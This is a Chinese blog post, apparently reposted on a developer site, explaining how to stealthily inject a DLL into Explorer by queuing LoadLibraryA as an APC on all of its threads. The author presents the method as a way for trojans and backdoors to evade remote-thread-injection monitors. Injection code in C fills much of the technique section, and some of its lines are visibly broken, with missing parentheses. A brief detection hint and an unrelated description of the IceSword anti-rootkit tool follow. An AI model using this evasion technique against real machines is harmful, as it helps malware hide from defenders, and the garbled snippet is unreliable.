“暴力”注入Explorer

“暴力”注入Explorer
                     pjf(jfpan20000@sina.com)
    写点无聊的东西,一段时间blog弄得不成样子了。
    向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,
如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也
举不胜举,一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上
“我是贼”一样。
    用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行
为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在Explorer里加
载自己的dll。
    首先提到的就是一个API:QueueUserAPC

    DWORD QueueUserAPC(
      PAPCFUNC pfnAPC,  // APC function
      HANDLE hThread,   // handle to thread
      ULONG_PTR dwData  // APC function parameter
     ;

    大家对这个API应该并不陌生,它直接转入了系统服务NtQueueApcThread从而利
用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc
顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事,
ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了
你的代码还是没得到执行。在核心态往往不成问题,自己动手赋值,可是用户态
程序可不好做,怎么办?其实最简单的,不好做就不做啰,让系统去干。
    实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为
TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject
使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的
),最简单的例子,目标线程调用SleepEx(***, TRUE)后我们插入APC代码就会乖乖执
行了。
    比较幸运的是Explorer进程中一般情况下总有合我们意的线程,于是最简单但并不
优美的办法就是枚举Explorer中所有线程,全数插入,示意如下:

    ......
    DWORD ret;
    char *DllName = "c://MyDll.dll";
    int len = strlen(DllName) + 1;
    PVOID param = VirtualAllocEx(hProcess, NULL, len,
                                 MEM_COMMIT | MEM_TOP_DOWN,
                                 PAGE_READWRITE);
    if (param != NULL)
    {
        if (WriteProcessMemory(hProcess, param,
                               (LPVOID)DllName, len, &ret))
        {
            for (DWORD p = 0; p < NumberOfThreads; p ++)
            {
                hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
                if (hThread != 0)
                {
                    InjectDll(hProcess, hThread, (DWORD)param);
                    CloseHandle(hThread);
                }
            }
    }
    ......
    
    其中InjectDll:
    void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
    {
        QueueUserAPC(
            (PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll" , "LoadLibraryA"
            hThread, 
            (DWORD)param
             ;
    }
    
    LoadLibraryA被调用后即将你的DLL加载入目标进程Explorer,运行是在目标进程的某
个线程环境中,一般你的DLL可以这时创建自己的线程。
    这样,整个过程虽然有些暴力(原因很明显,比如原本UserApcPending为TRUE的线程
被弄成了FALSE等等),并且仅是一次性插入,缺陷是明显的,不过插入过程的确更为隐蔽。

    针对使用这种的“无耻”方法的程序 ,检/监测程序就需要增加一些判断,比如对
NtQueueApcThread的合理监测等等。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
冰刃IceSword 1.22 简介 IceSword是一斩断黑手的利刃(所以取这土名,有点搞e,呵呵)。它适用于Windows 2000/XP/2003/Vista操作系统,用于查探系统中的幕后黑手(木马后门)并作出处理,当然使用它需要用户有一些操作系统的知识。 在对软件做讲解之前,首先说明第一注意事项 :此程序运行时不要激活内核调试器(如softice),否则系统可能即刻崩溃。另外使用前请保存好您的数据,以防万一未知的Bug带来损失。 IceSword目前只为使用32位的x86兼容CPU的系统设计,另外运行IceSword需要管理员权限。 如果您使用过老版本,请一定注意,使用新版本前要重新启动系统,不要交替使用二者。 IceSword内部功能是十分强大的。可能您也用过很多类似功能的软件,比如一些进程工具、端口工具,但是现在的系统级后门功能越来越强,一般都可轻而易举地隐藏进程、端口、注册表、文件信息,一般的工具根本无法发现这些“幕后黑手”。IceSword使用大量新颖的内核技术,使得这些后门躲无所躲。 如何退出IceSword:直接关闭,若你要防止进程被结束时,需要以命令行形式输入:IceSword.exe /c,此时需要Ctrl+Alt+D才能关闭(使用三键前先按一下任意键)。 如果最小化到托盘时托盘图标又消失了:此时可以使用Ctrl+Alt+S将IceSword主界面唤出。因为偷懒没有重绘图标,将就用吧^_^。 您无须为此软件付费,但如果您使用时发现了什么Bug,请mail to me:jfpan20000@sina.com ,十分感谢。 更新说明: 1.20:(1)恢复了插件功能,并提供一个文件注册表的小插件,详见FileReg.chm;(2)对核心部分作了些许改动,界面部分仅文件菜单有一点变化。 1.20(SubVer 111E3):添加对32位版本Vista(NtBuildNumber:6000)的支持。 1.22:(1)增加普通文件、ADS、注册表、模块的搜索功能;(2)隐藏签名项;(3)添加模块的HOOK扫描;(4)核心功能的加强。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值